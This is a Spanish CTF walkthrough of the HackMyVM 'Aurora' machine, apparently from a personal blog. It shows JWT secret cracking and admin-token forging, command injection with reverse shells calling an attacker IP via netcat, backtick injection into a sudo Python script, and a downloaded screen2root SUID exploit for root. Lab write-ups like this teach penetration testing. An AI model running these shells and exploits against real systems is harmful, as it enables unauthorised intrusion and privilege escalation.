cd ~/blog

~/writeups/hmv/035-aurora.md

035 - Aurora

easy Linux hmv 03-03-2024
Mass assignment (role)JWT secret cracking + forgingCommand Injection (execute endpoint)sudo Python script (backtick injection)SUID screen Privesc
hackmyvm.eu/machines/machine.php?vm=Aurora

~1 min de lectura


Comenzamos con un escaneo de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
 nmap -sCV -p22,3000 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 22:49 -03
Nmap scan report for 192.168.1.31
Host is up (0.00032s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA)
|   256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA)
|_  256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

Enumeramos la API (con peticiones POST):

 gobuster dir -u http://192.168.1.31:3000/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -m POST -r
...
/login                (Status: 401) [Size: 22]
/register             (Status: 400) [Size: 29]
/Login                (Status: 401) [Size: 22]
/Register             (Status: 400) [Size: 29]
/execute              (Status: 401) [Size: 12]
/LogIn                (Status: 401) [Size: 22]
/LOGIN                (Status: 401) [Size: 22]
...

Fuzzeamos los campos JSON de /register y vemos que acepta un atributo role (mass assignment):

 ffuf -u http://192.168.1.31:3000/register -X POST -H "Content-Type: application/json" -d '{"role":"FUZZ"}' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/objects-lowercase.txt
...
admin                   [Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 31ms]
user                    [Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 52ms]
...

Registramos un usuario y obtenemos un JWT al iniciar sesión:

 curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"role":"user"}'
Column 'username' cannot be null

 curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"admin","role":"user"}'
Username already exists

 curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
Registration OK

 curl -X POST http://192.168.1.31:3000/login -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InB3bmVkIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDk1MTk5MzR9.qYFPMbLujQYh1d24oYjTwmwwYPXM_jJdAdSDCq6GPmI"}

Para forjar un token de admin, primero crackeamos el secreto del JWT con john:

 john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt jwt_hash
...
nopassword       (?)
...

Con el secreto nopassword generamos en jwt.io un token con role: admin:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M

Fuzzeamos el campo del endpoint /execute y damos con command:

 ffuf -u http://192.168.1.31:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"FUZZ":"id"}' -w ~/Documentos/wordlists/rockyou.txt -fs 913
...
command                 [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 134ms]
...

Confirmamos RCE y lanzamos una reverse shell:

 curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"nc 192.168.1.10 1234 -e /bin/bash"}'

Para movernos al usuario doro, revisamos sudo -l:

www-data@aurora:/home/doro$ sudo -l
Matching Defaults entries for www-data on aurora:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on aurora:
    (doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *

El script tools.py sanitiza algunos símbolos pero no las comillas invertidas (`), así que inyectamos una reverse shell por ahí:

www-data@aurora:/tmp$ sudo -u doro python3 /home/doro/tools.py --ping
Enter an IP address: `nc 192.168.1.10 4321 -e /bin/bash`

Obtenemos una shell como doro y la primera flag. Para escalar, buscamos binarios SUID:

doro@aurora:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/screen
...

screen con SUID es explotable; usamos el exploit screen2root:

doro@aurora:/tmp$ wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/screen2root/screenroot.sh
doro@aurora:/tmp$ chmod +x screenroot.sh
doro@aurora:/tmp$ ./screenroot.sh
...
[+] done!
...

Obtenemos una shell de root y capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados